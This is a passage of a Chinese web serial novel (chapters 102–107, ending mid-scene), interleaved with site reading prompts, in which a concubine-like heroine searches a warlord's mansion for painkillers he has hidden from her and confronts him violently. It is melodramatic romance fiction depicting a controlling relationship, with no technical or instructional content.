萧纵动作一顿，垂眸看了她一眼，手揽得更紧了些。 “两位快请，贵宾室在这边。” 经理的腰又弯了弯，看着苏姚的目光很郑重，他从没见过萧纵亲自带人来珠宝行，而且还是这么一副重视的姿态，他丝毫都不敢怠慢。 他引着两人往里走，可路过展示柜的时候，苏姚的脚步却停下了。 萧纵也跟着放慢了脚步，“怎么了？” 苏姚没说话，只将目光看向展示柜里的戒指。 如今的她，对萧纵除了愤怒和忌惮，已经生不出别的感情来，她也不知道坠入爱河的女人，这时候该有什么反应。 可她还记得自己年少时候，愚蠢无知的模样，记得那时候曾许下过多么荒谬的愿望。 只是就算她再不知天高地厚，也没敢将当时的愿望说出来，她知道，会被嘲笑，被辱骂，所以，她默默地在心里藏了一年又一年。 可现在，拿出来说刚刚好。 她看向男人，“少帅，你知不知道，我第一次过生日的时候，许了个什么愿望？” 萧纵眉梢一挑，“第一次过生日？” 苏姚知道他在困惑什么，她进帅府的时候都十五了，他肯定以为第一次至少要再往前推十几年。 可十五岁的那一年，的确是她第一回过生日，也是她第一回吃生日蛋糕，第一回许愿。 但她不想说这些没有意义的话。 她只是慢慢扣住萧纵的手，和他五指相扣，幻想着当年的自己，眼底露出期待又忐忑的光：“我们，买一对戒指吧。” 喜欢少帅又把老婆气跑了请大家收藏：()少帅又把老婆气跑了更新速度全网最快。 第102章 谁是猎物 萧纵一怔，戒指？ 他垂眸看着苏姚，眼底泛起波澜，他没想到苏姚会提出这么一个要求。 戒指可以买，但一对戒指的意义可不一样。 他虽然承认了对苏姚有心思，也的确想让她一直陪着自己，可他却没想过要和苏姚结婚。 她的身份，还配不上萧太太的位置。 “苏姚……” 他斟酌着开口，可对上苏姚那双眼睛时，嘴边的话又顿住了。 算了，又不会真的结婚，暂且哄哄她吧。 “好。” 他应了一声，拉着苏姚往里走，“你来选。” 经理听见两人的话，连忙吩咐职员将戒指都取了出来。 璀璨的灯光下，戒指流光溢彩，苏姚眼睛微微一亮，弯下腰一个个看了过去。 她看得很认真，连萧纵就侧头看着她，都没有察觉到。 男人无意识地摁了下打火机，他还以为今天一整天，苏姚都会心不在焉呢，没想到…… 戒指…… 他的目光也看向了那些戒指，就见苏姚拿起其中一只，拉过他的手，要往他无名指上戴。 心神忽然有些恍惚，有那么一瞬间，他竟觉得那戒指，沉得厉害。 他指尖一蜷，下意识抗拒了这个动作。 “少帅？” 一道熟悉的声音忽然响起来，苏姚动作一顿，抓着萧纵的手松开了，刚要往萧纵手指上套的戒指也被收了回来。 “刚才听说贵宾室被用了，我就好奇来看看，没想到竟然是你。” 来人再次开口，说话的功夫已经走到了两人跟前，却是褚英。 “你怎么来了？” 见到他，萧纵也有些意外。 “还要托少帅的福，” 褚英懒扬扬抱怨了一句，“总统特使，你没空见，总得有人招待吧？” 说着话，他目光自苏姚身上一扫而过，随即往身后斜了一下，萧纵这才看见门口还站着个人，瞧见他也在，大步走了进来，弯腰和他握手，“萧少帅，鄙人是调查科言文组主任，孙少甫。” 总统派人来的事，萧纵记得萧翼提过，只是当时他没心情管，却没想到会在这里遇见。 “原来是孙主任。” 他和人握手，没见面就算了，可既然见到了，该给的面子还是要给。 他侧头看了眼苏姚，“你慢慢选，我和孙主任说几句话。” 苏姚应了一声，低头继续去看那些戒指。 等三人的脚步声远去，她紧绷的心情才放松了些。 以往没觉得，今天只和萧纵相处了几个小时，她就觉得累得厉害。 什么时候才能挨到晚上…… 她叹了口气，也没有心思再选戒指，就将手上的那对递给了经理：“就要这个吧。” 经理立刻将戒指拿去包好，重新递了过来，他大约是误会了什么，吩咐职员送了一条钻石项链过来，“小姐请过目，这可是珠宝行的镇店之宝，传闻英国的王妃结婚的时候就是戴的这条，现在可是儿孙满堂，如果您要结婚的话，只有这套才衬得上您的身份。” 苏姚哭笑不得，和萧纵结婚？ 她做梦都不会这么荒唐。 而且……刚才旁人没有在意，可她就抓着萧纵的手，清楚地感觉到了戴戒指时他的抗拒。 她就知道，萧纵嘴里没有一句实话。 她摇摇头，刚要开口拒绝，萧纵的声音就响了起来，“看着不错，包起来吧。” 苏姚心里啧了一声，说得好像真是给她的一样。 可她什么都没说，只是抬头看了男人一眼，眼眶微红，下一瞬她就收敛了神色，朝对方晃了晃手里的盒子，“少帅回来了？我选好了。” 萧纵没动，好一会儿才走过来，托着她的脸看了看她的眼睛。 刚才不是错觉，苏姚的眼睛的确红了。 心里有股说不出来的滋味，他强行压下，往盒子里看了一眼，两枚戒指静静躺着。 他不太确定这是不是刚才苏姚给他戴的那一只，但并不在意，随手就将女士的拿出来，套在了苏姚的手上，却并没有动自己的那一只。 苏姚盯着戒指笑，似是根本没注意到这点小动作。 “再看看别的？” 他开口询问，苏姚却摇了摇头，目光始终落在那戒指上，“不看了。” 她慢慢将手抵在了心口，语气里都是满足，“我只要这一个就够了。” 萧纵的心脏莫名也跟着她的动作颤了一下。 他下意识抓住了苏姚的手，一点愧疚升腾起来，他给苏姚的，太少了。 “送批首饰去帅府吧。” 他吩咐经理，拉着苏姚站了起来，“走，我们去听戏。” 苏姚顺从地跟着站了起来，一方帕子却从她身上落了地，是她刚才看珠宝时擦手用的。 两人都没有在意。 直到两人离开，一只骨节分明的手，才将那方帕子捡了起来。 竟是去而复返的褚英，他将帕子慢慢蜷成一团，攥进掌心，满脸的遗憾，“早知道，当年就该把你两条腿都打断的……” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！苏姚莫名哆嗦了一下，她缩了下肩膀，透过窗户看向外面的天色。 早上出来的时候，还阳光明媚，这一小会儿的功夫，竟然变天了。 她很快就收回目光，继续去看手上的戒指，她已经看了一路了。 “这么喜欢？” 萧纵温声开口，语气却有些复杂。 “当然。” 苏姚头都没回，做戏要做到底才行啊。 车子在戏楼停了下来，天空却不合时宜地下起了小雨。 她恍若未觉，开门就要下去，萧纵一把拉住她：“变天了，腿不疼啊？” 他说的疼，不是指苏姚那时不时发作的腿疾，而是那个枪伤，他自己身上也有旧伤，很清楚，变天下雨有多不舒服。 苏姚揉了下伤处，眉心微蹙，眼底却都是期待，“可，这是你第一次陪我来戏楼，不想就这么回去。” 萧纵抓着她的手不自觉加重了力道，“不着急。” 他哑了声音，“我们的时间，还很多。” “这可是你说的。” 苏姚凑过来亲了亲他的唇角，却被他压着后颈，加深了这个亲吻。 亲吻逐渐有些失控，可萧纵再放肆也还是要脸的，所以他克制着停下了动作，一脚油门回了帅府。 他等不及管家撑伞来接，拉着苏姚冒雨下了车。 雨越来越大，两人速度虽快，却仍旧被打湿了衣服。 “去洗个澡吧，待会我来找你。” 萧纵推着苏姚上楼，却被她拉住了衣角。 她脸色涨红，侧头咳了一声才小声开口—— “我的浴室，好像放得下两个人。” 喜欢少帅又把老婆气跑了请大家收藏：()少帅又把老婆气跑了更新速度全网最快。 第103章 戏耍 萧纵的眸色一瞬间幽深了起来。 苏姚年少时候没脸没皮，什么风骚的事都干过，共浴也是家常便饭，可这两年，也不知道是长大了些，知道要脸了，还是对他没了那么多心思，已经很久很久都没说过这种话了。 他抬手就勾住了苏姚的腰，粗糙的掌心顺着腰窝一寸寸抚摸下去，眼底的情欲疯狂涌动。 但他还存着理智，“我去换套衣服……” 苏姚更紧地抓住了他的衣角，钥匙就在衣服里，怎么能让他换呢。 “我这里有你的衣服。” 萧纵脸上闪过挣扎，情欲和理智在疯狂博弈。 一只手忽然抚上来，捧住了他的脸颊，戒指的金环刚好卡在他的颌骨上，触感十分清晰。 他下意识抓住了那只手，指腹在那戒指上摩挲了一下，脑海里不自觉浮现出苏姚将戒指抵在心口的样子来，理智被击溃，他低骂一声，弯腰将人一扛，大步进了门。 管家正在擦拭酒杯，远远看见这一幕，忍不住叹了口气。 他看着时间，给两人送了晚饭上去。 房门被敲了好一会儿才打开，萧纵顶着一身狭长的红痕，将餐车拉了进去。 管家刚想劝一句纵欲伤身，房门就又被关上了。 “吃点东西。” 萧纵端了碗粥去喂苏姚，苏姚却咬住了勺子，抬眸朝他看了过来。 明明什么都没说，欲火却再次翻涌了起来。 “操，” 他低骂一声，将粥扔在了矮柜上，欺身压了上去，“你是想我死吗？” 他咬牙切齿地开口，动作却丝毫不停，反倒一下重过一下。 苏姚不说话，只紧紧抱着他的脖子。 床榻不堪重负的声音，持续到夜里才彻底消停。 萧纵抽了根烟出来，看了眼睡得昏沉的人，又塞了回去，他在苏姚头上用力揉了两下，也钻进了被子里。 即便他正值壮年，接连两天这么不知节制，身体也感觉到了疲惫，躺下没多久呼吸就均匀了起来。 此时，一直安静躺着的人却睁开了眼睛，她悄悄撩开被子下地，只是刚一动作，一阵酸痛就从腰上传了过来。 能累倒萧纵，苏姚也已经到了极限。 可好在，她仍旧保持着清醒。 她缓了缓，等身体适应了那股酸疼，这才下地套了件睡袍，借着台灯的光，她摸到了萧纵的衣服，挨个口袋摸过去，果然找到了钥匙。 她轻手轻脚地去找手电筒，可在要开抽屉的时候，又顿住了，不能开灯，也不能照明，不然会被发现的。 只要有任何一个人看见她，她都没机会了。 可是不带手电筒的话…… 黑暗的恐惧翻涌，她控制不住地战栗起来，但很快又强压下去。 害怕而已，她撑得住的。 她一定可以。 深吸一口气，她抓着钥匙，连鞋都没敢穿，轻手轻脚地往门口走。 她的房间不大，比起萧纵和萧茵的套间来说，几步路就能走到门口，可就是这短短的几步路，她也走得胆战心惊，唯恐萧纵会忽然醒过来。 好在，直到她轻轻将门关上，床上的人都没有任何动静。 她靠在门上松了口气，但很快，那股轻松就被铺天盖地席卷而来的黑暗驱散了，身体本能地僵硬起来，她死死抓着手心的钥匙。 坚硬的金属硌得手心生疼，她却丝毫都不肯放松，反倒抓得更紧，恨不能直接用钥匙划破手心，她需要痛苦，只有这样，才能逼迫自己冷静。 尖锐的痛苦慢慢平复了她不自觉急促的呼吸，她仰头看了眼黑暗中混沌一片的三楼，狠狠一咬牙，扶着栏杆，迈上了台阶。 月色晦暗，看不清脚下，每一步落下之前，她都恍惚自己会踩中黏腻腥臭的东西，然后被拖进无底的深渊里。 短短二十几个台阶，她已经出了一身的冷汗。 可等萧纵的房门出现在眼前时，她却连松口气的时间都没有。 心脏不受控制地剧烈跳动起来，擂鼓一般，一下下敲击在她耳膜。 咚，咚，咚。 仿佛危险的警钟，在步步逼近。 掌心的痛楚已经麻木，她狠狠咬了下舌尖，借着这股痛楚才再次强迫自己冷静下来，慢慢将钥匙插了进去。 随着“咔哒”一声响，房门被打开。 她欣喜若狂，却一丝声响都不敢发出来，快步进了门。 门关上的那一刻，她终于敢放开了呼吸，胸腔里却一阵阵地发疼，她这才意识到是自己刚才太过紧张，忘记呼吸了。 可她不敢浪费时间，很快就开始到处翻找。 她的箱子不算太小，能藏的地方不多。 她沿着小客厅，衣帽间，和卧室一个个找过去，她本以为希望就在眼前，自己很快就能找到。 可身体却控制不住地颤抖，对黑暗的恐惧已经刻入骨髓，哪怕她竭力控制思想，试图将注意力都放在箱子上也无济于事，甚至越演越烈，眼前都开始眩晕。 她不得不又咬了自己一口。 浓郁的血腥气再次充斥着口腔，伴随着火辣辣的疼痛，她意识清明了些，深吸一口气，加快了速度，将各处挨个翻过之后，她将目光落在了床上。 这章没有结束，请点击下一页继续阅读！难道和她一样，也藏在了床底吗？ 她俯下身，顾不得狼狈，抖着手去床底摸索，当指尖碰到熟悉的触感时，她浑身控制不住地一激灵。 找到了！ 虽然还没看见箱子，可她已经摸过无数次，心里无比笃定，这就是她的箱子。 终于，找到了。 原来萧纵这样的人，藏东西也和她一样。 她险些喜极而泣，咬着嘴唇用力将箱子拖了出来。 果然就是她的那一个。 激动让她浑身止不住的战栗，她深吸一口气，强行克制住了满心的欢喜，慢慢打开了箱子，下一瞬，她的神情就僵在了脸上—— 里头是空的。 她的钱也好，药也好，都不在里头。 “怎么会……” 她不敢置信地拿起箱子抖了抖，却仍旧什么都没有。 “不可能，不可能的，一定就在这里。” 她挣扎着爬起来，已经顾不上会惊动旁人，发了疯似地到处翻找。 床垫，地毯，灯罩，所有可能的地方她都翻了一遍。 可没有，什么都没有。 她的药，被专门藏起来了。 宛如一盆冰水兜头浇下，她浑身发冷。 她不是没想过药会被藏起来，但心里很抗拒这个可能，因为事情一旦发生了，就意味着萧纵一直在防备她，她根本就没有任何机会。 可现在，事实就摆在眼前。 身体的力气像是忽然间被抽空了，她委顿在地，身体控制不住地战栗起来，腿骨一阵阵地疼，好像是腿疾发作了，可她垂眼，看见的却是无边无际的黑。 那黑暗犹如实质，黏稠沉重，将她禁锢在原地，一点点侵袭，淹没。 她承受不住似的伏在了地上，恍惚间，口鼻像是被捂住，窒息感铺天盖地。 耳边忽然“啪”的一声响，头顶的灯被人打开了。 喜欢少帅又把老婆气跑了请大家收藏：()少帅又把老婆气跑了更新速度全网最快。 第104章 她是杂草 灯火璀璨，瞬间驱散了黏稠的黑暗。 苏姚却恍若未觉，仍旧伏在地上，动都没动一下。 脚步声慢慢靠近，带着烟草灼烧的味道，很熟悉。 熟悉得，让人反胃。 她控制不住地干呕了起来，身体止不住的痉挛。 “怎么气成这样？” 萧纵叹息一声，话里带着疼惜，他掐灭了手里的烟，抬手给她拍了拍后背。 可下一瞬，清脆的击打声就响了起来，苏姚重重挥开了他的手。 萧纵动作僵了一瞬，但也仅仅只是一瞬，就恢复如常，他看着苏姚，“我不是要耍你，可不让你自己来找一回，你不会死心的，不是吗？” 他再次抬手，附上苏姚的后背，轻轻拍了拍，“我倒是也不介意和你玩玩这种口是心非的小游戏，可时间久了，对你我的关系，很不好。” 苏姚从彻骨的凉意中回神，愤怒到全身都在颤抖，一股巨大的嘲讽却涌了上来—— 关系？ 她和萧纵是什么关系？ 六年了，她没有名分，没有感情，没有钱财。 甚至，连她救命的药，萧纵都拿走了啊…… 她其实，一直拿自己当杂草，不管环境多恶劣，不管被踩踏多少回，她都能生存下去。 她不会去诅咒恶劣的气候，也不会去憎恨那些踩踏下来的鞋底，她这样的出身，还是这样的乱世，能活到现在，已经足够运气。 她不会怨恨，也不想怨恨，因为只有这样，她才能活得更好一些。 可她现在，却真切地感受到了一股叫做憎恨的情绪在心底升腾。 她仰头看向身边的男人，残存的理智告诉她，不要和这个男人翻脸，激怒他自己会死得很惨。 可她控制不住，她恨他。 恨他让自己变成了一个随时都会被痛苦折磨的废人，恨他一次次地让自己在绝望里浮沉，更恨他轻描淡写地就毁了她设想好的未来。 “你这是什么眼神？” 萧纵似是感受到了她的情绪，神情慢慢变了，他抬手钳制住了她的下颚：“别告诉我，你这是在恨我。” 他声音颤动，心里说不出的愤怒。 苏姚，竟然恨他。 就因为他不让她离开海城，她就要恨他？ “你知道外头是什么日子吗？” 他咬牙开口，“到处都在打仗，到处都在死人，苏姚，没有我，你根本活不下去。” 苏姚没有开口，只是看着他，眼底的情绪却没有消散分毫，反倒越发凝实，清晰得不容人错认。 萧纵的指尖颤动起来，控制不住地加重了捏着她下颚的力道。 “不准这么看我！” 他厉声呵斥，眼底慢慢涌上血色，早在知道苏姚要走时就翻涌着的被背叛的怒火，这一瞬间被再次点燃，且熊熊燃烧，越演越烈。 几乎冲垮了他的理智。 苏姚，恨他。 哈。 多可笑，他尽心尽力娇养了六年的金丝雀，就因为他拿走了她的几千块钱，不许她出去找死，就恨他？ 滑稽！ 滑天下之大稽！ 他的身体也战栗了起来，因为愤怒，他神情几近狰狞，仿佛一头发了狂的凶兽。 这一刻，他很想让苏姚出去试试，看看她还能不能活着回来。 可念头只是一闪，就被他强行压下了，他深吸一口气，平复情绪朝她伸出了手，“夜很深了，回去睡吧，有话明天再说。” 明天？ 苏姚笑的悲凉，如果今晚腿疾发作，她都不知道自己能不能撑得到明天。 他竟说得如此轻描淡写…… 不甘心，她不甘心啊。 她仰头看着男人，猛地抓住男人的手，将人摔了出去。 大约是没想到苏姚会动手，萧纵落地后竟没有反应，好一会儿他才站起来，他弹了弹身上的灰尘，不恼不怒：“解气了吗？回房吧。” 苏姚没说话，再次冲了过来，却被萧纵一把捏住手腕，将她整个人都拉进了怀里。 “苏姚，想开一点，你迟早会明白，我是对的。” 苏姚呼吸急促，却始终一言不发，曲肘就对着他肋下攻去。 萧纵再次抬手接住，将她整个人拢进怀里，随手接下她的其他攻击，语气无奈—— “你现在情绪太激动了，这么动手，容易受伤。” 苏姚充耳不闻，胳膊被束缚住，她就抬腿去踢，萧纵叹息一声，一个侧身，将她压在了床上，“苏姚，我们就和以前一样不好……” 话音未落，腰侧忽然一空。 他顿住，苏姚抓着枪，黑洞洞的枪口朝上，越过她的肩膀，对准了自己的头。 “把药，还给我。” 苏姚终于开口，声音发颤，嗓音撕裂，短短五个字，仿佛用尽了她全身的力气。 萧纵这才意识到，她动手不只是为了撒气，而是真的想再搏一把。 可是…… “会开吗？” 他低语一声，随着话语出口，他猛地翻身，两人从床榻上滚了下来，枪口瞬间换了方向，他一把握住苏姚的手，“我来教你。” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！他带着苏姚上膛，开保险，扣动扳机。 刺耳的枪声响起，子弹毫无目的，四处乱飞，天花板，墙壁，吊灯，短短几秒钟，房内一片狼藉。 警卫和佣人都被这声音惊动，伴随着尖叫声，警卫冲了进来。 两人毫不理会，仍旧纠缠在一起。 “没子弹了。” 萧纵低声开口，说着话，他带着苏姚的手，又扣动了一下扳机，是空的。 苏姚的呼吸粗重起来，她知道，萧纵的意思是，你没有机会了。 或许，她从来都没有机会，只是不甘心，她不甘心啊！ 她发疯似的挣扎，仿佛萧纵的怀抱，此时就是一个巨大的囚笼，挣脱他，自己才有生机。 “苏姚……” 身后的男人却更加强硬地抱紧了她，“相信我，你这样的人，留下最适合你。” 她这样的人？ 苏姚动作一滞，眼底漫上茫然，她是什么样的人？ 懦弱，胆怯，毫无追求…… 是了，她就是这样的人，如果不是帅府的日子太难熬，如果不是腿疾太疼，她会赖在帅府一辈子的。 可是，明明是实话啊，为什么听见的时候，她会难堪，会愤怒，会痛苦呢…… 呼吸逐渐急促，胸腔里再次弥漫开窒息的痛楚。 “好了，接受了就不会难过了。” 男人安抚的声音响起来，将她紧紧拢在怀里，苏姚眼底布满血丝，她猛地抓住男人的手，狠狠咬了下去。 这一口猝不及防，萧纵闷哼一声，疼得皱起了眉头，却是既没有躲，也没有阻止，反倒抬起另一只手，轻轻抚摸着她的发丝—— “咬完，我们就扯平了。” 喜欢少帅又把老婆气跑了请大家收藏：()少帅又把老婆气跑了更新速度全网最快。 第105章 她需要你 房内一片安静，只有水滴落下的动静。 那是顺着苏姚嘴角淌下的淋漓鲜血。 她颤抖着，战栗着，始终不曾松口，像是要把自己所有的痛苦和绝望，都从这一口里讨回来。 直到楼下响起孩子的哭声，她才像是恢复了神志，慢慢松开了口。 “是萧茵，她大概被枪声吓坏了。” 萧纵看了眼自己的手，血肉模糊，和那天从禁闭室里出来的苏姚有的一比。 她可真是下了死嘴。 苏姚却并不理会他，扶着地面站起来，摇摇晃晃地往门口走。 门一打开，萧翼正带着警卫们往上冲，见她从房间里出来，脚步猛地顿住，“苏小姐，你怎么在这里？你没事吧？刚才怎么了？” 苏姚仿佛没看见他们，仍旧往前。 警卫们连忙让开路，慢慢露出了藏在人群最后面的，正躲在管家怀里的萧茵。 看见苏姚的瞬间，她小嘴一瘪，猛地跑过去，冲进了苏姚怀里。 苏姚把她接住，慢慢地，抱紧。 “都散了吧，没什么事。” 萧纵落后一步跟了出来，目光越过人群，落在了苏姚身上。 萧翼松了口气，也跟着看了苏姚一眼，却很快就收回了目光，带着警卫们退了下去。 “回去睡吧。” 萧纵走过来，抬手拦住苏姚的腰，她却没有反应，仍旧站在楼梯上，紧紧抱着萧茵。 萧纵轻叹一声，“看在茵茵的面子上吧，她很需要你。” 需要…… 苏姚指尖一颤，更紧地抱住了怀里的人。 半晌后，她哑声开口：“给我药。” 萧纵眉心一皱，“苏姚，你还没……” “几片也行。” 苏姚再次开口，眼底一片木然。 拒绝的话就在嘴边，萧纵却还是没能说出口，沉默片刻，他再次转身上了楼，他进了书房，不多时拿了个药瓶出来，轻轻一晃，碰撞声单薄稀疏，里头只有两片。 苏姚没再说什么，接过药瓶，带着萧茵回了房间。 萧茵已经九岁了，萧纵不好和她同住，只能在门口停下了脚步。 “少爷你的手。” 管家不知道什么时候上了楼，一眼看见了萧纵手上的血迹，以及他脚边不知道什么时候积攒的一小汪鲜血。 他吓了一跳，连忙抓着萧纵的手查看伤口，本想骂一句行凶的人，可话到嘴边，却又咽了下去。 这是咬出来的伤。 “这是苏姚咬的？” 他有些不可思议，虽然这些日子以来，两人频繁争吵，且一次比一次激烈，可他从来没想过，苏姚竟然敢对萧纵动手。 “她怎么能咬这么狠啊。” 他看着都觉得疼。 萧纵没理会他，垂眸看了一眼那牙印，抬脚下了楼，抬起血渍呼啦的手打着了火机，给自己点了根烟。 管家叹了口气，见他没有要喊医生的意思，只好自己拿了药箱来给他清理伤口，“这次又是为了什么吵？怎么都到动手的地步了？” 萧纵脑海里，闪过苏姚满是憎恨的眼睛，手不自觉一紧，语气却没有异样，“小事而已。” “小事就咬成这样？她真是越来越放肆了。” 管家骂了一句，一低头却发现萧纵的血流得更厉害了，刚才撒上的药粉，都被涌出来的血迹冲刷干净了。 他吓了一跳：“少爷，别用力啊。” 萧纵这才回神，慢慢松开了手。 可脑海里，苏姚那双眼睛却仍旧挥之不去，心脏也跟着紧了起来。 他狠狠抽了一口烟—— 没关系，没关系的，只要把苏姚留在身边，他们迟早会和好的。 不需要担心。 他极力安抚自己，却又想起了苏姚刚才和他要药的事情。 一个小时前，他才和苏姚坦诚相对，她身上有没有伤，自己最清楚。 她到底，为什么非要拿止疼药？ 他靠在沙发上，这一天折腾下来，他也心力交瘁了。 “少帅，还是让医生来看看吧，伤口有些深。” 管家忍不住开口劝他，萧纵摆摆手，示意他退下，他想一个人静一静。 管家很无奈，也了解他的性格，打定了主意的事，旁人劝不动。 所以他虽然担心，却还是退了下去。 只是第二天一早，他来客厅的时候，却发现萧纵竟然还坐在沙发里。 他有些意外，“少爷，你又在客厅睡了一宿啊？” 萧纵没开口，只将烟摁灭在烟灰缸里，里头已经积了一小堆，看得人眼皮直跳。 “少抽点吧。” 管家忍不住叹气，“你这烟瘾越来越大了。” 萧纵嘴唇动了动，他也不是想抽，但心情很烦躁，由不得他不抽。 “别操心那么多了。” 他敷衍一句，正要找个理由把人撵下去，二楼的房门忽然开了，萧茵冷着一张小脸，气冲冲地下了楼。 萧纵有些惊讶，“怎么了？” “我再也不理她了。” 萧茵气冲冲坐在沙发上，背转过身去，不肯看他们。 本小章还未完，请点击下一页继续阅读后面精彩内容！萧纵眼底闪过愕然，苏姚多迁就萧茵，他是知道的。 苏姚大概是自己小时候吃过太多苦，所以她是一点委屈都不想让萧茵受。 上次两人闹矛盾已经很稀奇了，今天竟然又来一次。 “怎么回事？” “她根本不理我！” 萧茵没忍住转过身来，“我害怕，想让她抱抱我，她竟然不理我！我都感觉到她醒着了，可不管我怎么求她，她都不理我！” 她越说越委屈，眼泪吧嗒吧嗒地掉了下来，“我真的，再也不理她了。” 萧纵有些意外，苏姚竟然会这么对萧茵。 他抬手给萧茵擦了擦眼泪，“好了，苏姚心情不好，原谅她吧。” “我不！” 萧茵这次是真的很生气，“我这次真的很生气，我要找秦老师，她怎么还不回来？” 萧纵沉默一瞬，“她还没回来。” “你去找呀，” 萧茵哭起来，“你们都不理我，现在连秦老师也不在，你们都在欺负我没妈妈。” 萧纵额角一跳，“行了行了，我让人去找。” 萧茵这才转身上了楼，路过苏姚的房门时还瞪了门板一眼。 “这孩子……” 萧纵无奈地摇了摇头，抬脚上了楼。 没看见苏姚的人，浴室里倒是传来水声。 他没出声，靠在衣柜上，静静等着。 没多久浴室里就响起脚步声，苏姚就扶着墙，一步步挪了出来。 她走得很慢，慢得仿佛腿都不是她的一样。 萧纵沉默地看了好一会儿，才缓下声音开口：“你是因为我，在迁怒萧茵吗？” 喜欢少帅又把老婆气跑了请大家收藏：()少帅又把老婆气跑了更新速度全网最快。 第106章 你出不去了 苏姚这才注意到他也在，却连头都没回，就慢慢蜷缩回了床榻上。 此时萧纵才看清楚她的脸色。 惨白一片。 明明刚从浴室里洗了热水澡，她脸上却没有一丝血色。 “你要算账吗？” 苏姚沙哑的声音这才响起来，她看着男人，眼底麻木，毫无情绪。 萧纵沉默许久，还是叹了口气，抬脚走到床边，在她身边坐了下来，“苏姚，别和我置气，你一向聪明，识时务，很清楚怎么做才能让自己过得更好。” 苏姚合上眼睛，是啊，她知道。 她现在一无所有，想走就得重新开始，她需要讨好萧纵。 可身上腿疾的余威还没退下去，她口腔里都是血腥气，昨夜她不想吓到萧茵，生生忍了一宿，牙齿几乎都要被咬得松动了。 这样的痛苦，她不知道要持续多久，她要怎么说服自己，继续去讨好他呢？ “没别的事情，我要睡了。” 她缩进被子里，她很累，累得一根手指头都抬不起来了。 萧纵的脸色却沉了下去，大早上的，刚醒就又要睡。 他捏着苏姚的脸，逼着她看向自己，“苏姚，你心里不舒服，我知道，我给你时间，但你真的要好好想一想，这么犟着，有没有意义。” 苏姚看了他一眼，再次闭上了眼睛。 萧纵盯着她苍白的脸颊看了几眼，最后还是决定暂时出去。 可他刚要开门，苏姚的声音就响了起来，“再给我几片药吧。” 萧纵动作一顿，“昨天不是给了吗？” “吃了。” 苏姚看了眼药瓶，萧纵打开看了一眼，果然是空的。 他眉头皱得更紧，“我给了你两片。” 正常止疼药，吃一片就够了，苏姚竟然把两片都吃完了。 “所以这次，能给我三片吗？” 她话里都透着浓浓的疲惫，仿佛下一秒就要昏睡过去。 萧纵脸色不大好看，“你哪里不舒服，要吃这么多止疼药？” 苏姚有些想笑，又是这句话，又问这句话。 说了他不听也不信，可他偏偏每次都要问。 她伏在枕头上，无奈又疲惫，“我腿疼啊。” “你……” 萧纵脸上露出烦躁来，似是想骂人的，可话到嘴边又咽了下去，他吐了口气，“我不会再给你药了，腿疼就忍一忍吧。” 他丢下这么一句话，转身走了。 苏姚仰头看了眼天花板，她没再去求萧纵，这个人多冷心冷情，她是知道的，求他也没用，得自己想办法了…… 她想着，意识逐渐昏沉过去。 再醒过来的时候，外头灿烂的阳光正透过窗户照进来，看得人有些恍惚。 她下意识抬手碰了碰。 真是，温暖，又璀璨的光。 她强撑着下了地，换了套衣裳出了门。 “给我拿点吃的。” 她嗓子还是哑的，佣人愣了一下才反应过来，连忙去给她拿饭菜。 其实她不饿，可她知道自己得吃东西，不然身体要支撑不住了。 她还得想办法拿点止疼药。 趁着佣人不注意，她打开了放着药箱的柜子。 各色药品都在，唯独没了止疼药。 萧纵啊萧纵…… 她叹了口气，将箱子放了回去。 面和几样小菜很快被端上来，苏姚回了餐厅，低头吃起来，一股香甜的味道忽然飘了过来，她知道是厨房在做甜点，可她没想到，端着蛋糕的人，竟然会是萧茵。 心里本能地欢喜起来：“茵茵。” 可看见她的瞬间，萧茵脸上的笑瞬间没了，她扭头哼了一声，态度很明显。 昨晚的事情，苏姚其实记不太清了，因为疼痛让她的意识很不清醒，只有一个念头很清晰，她不能喊，她怕吓到萧茵。 “怎么自己下厨了？想吃什么，告诉我就好。” 她只当萧茵还在因为之前的事情生气，强打起精神开口，萧茵却并不领情，将蛋糕往桌子上重重一放，“我这是给秦老师做的。” 苏姚一愣，秦芳年？ 人其实才离开了几天而已，她却像是很久很久，都没听到这个名字了。 “她出来了吗？” 萧茵觉得那个“出”字怪怪的，正想问一句，外头就传来了高跟鞋的动静，很快，秦芳年的身影就出现在门口。 萧茵顿时欢喜起来，扑进了秦芳年怀里，“秦老师，你终于回来了，我好想你。” 秦芳年也知道自己能出来，萧茵有很大功劳，“算你有良心，不枉我之前对你那么好。” “我对你不好吗？” 萧茵叉腰，“我还给你做了蛋糕。” 她拉着秦芳年去了餐厅，果然瞧见餐桌上放着个不算漂亮的蛋糕。 “小笨蛋，你的蛋糕怎么做得这么丑？” 萧茵有些生气，张嘴要说什么，秦芳年话锋就变了，“但我还是会全都吃掉的，你的心意不能浪费。” 萧茵立刻被哄好了，拿了刀子让她切。 “苏老板也在？” 秦芳年的目光忽然看了过来，“我们可是好久没见了。” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！苏姚应了一声，她们的确很久没见了。 “茵茵做的蛋糕，你要尝尝吗？” 她说着切了一块要推过来，却被萧茵拦住了。 她看了苏姚一眼，扭捏道，“我没想给她吃。” 苏姚心下一黯，却还是耐着性子哄她，“我还没吃过茵茵做的东西呢，让我尝一尝吧。” 她对萧茵，总是生不起气来，哪怕她在故意气自己。 “那就当给秦老师一个面子。” 萧茵再次开口，语气仍旧别扭。 苏姚笑了笑，接过了秦芳年递过来的蛋糕。 松软香甜的蛋糕被塞入口中，芒果的鲜甜味道瞬间溢满口腔。 苏姚顿住，目光不自觉落在萧茵身上。 原来，她不是在气自己，是真的没打算给她吃。 小孩子气性大一些也正常，很快就会好的…… 她心里轻轻说了一句，还是将那口蛋糕咽了下去，随即放下叉子，起身离开。 一出餐厅的门，却发现萧纵就在门前站着。 她不想说话，抬脚就走，手腕却被抓住：“你真的要因为我迁怒萧茵吗？连蛋糕都不吃，你就不怕她真的不理你了？” 苏姚指尖蜷了蜷，却什么都没说，推开他往外走。 “你最近，应该是出不去了。” 萧纵拔高了音量。 苏姚脚步顿住，却并不意外，这是萧纵会干出来的事情。 喜欢少帅又把老婆气跑了请大家收藏：()少帅又把老婆气跑了更新速度全网最快。 第107章 抓了个现行 苏姚仍旧没有回头，也没有出门，而是去了副楼的医疗室。 “医生，我不太舒服，你给我看看。” 她一进门就开了口。 看见她来，医生很惊讶，因为一般都是传唤他去主楼的。 但他不敢怠慢，连忙去拿听诊器，苏姚的目光落在了那一排排的药上，很快，熟悉的药瓶映入眼帘，是她吃的那种止疼药。 她极快地看了眼医生，见对方没有注意，抬手就去拿，一只手却先一步挡住了她。 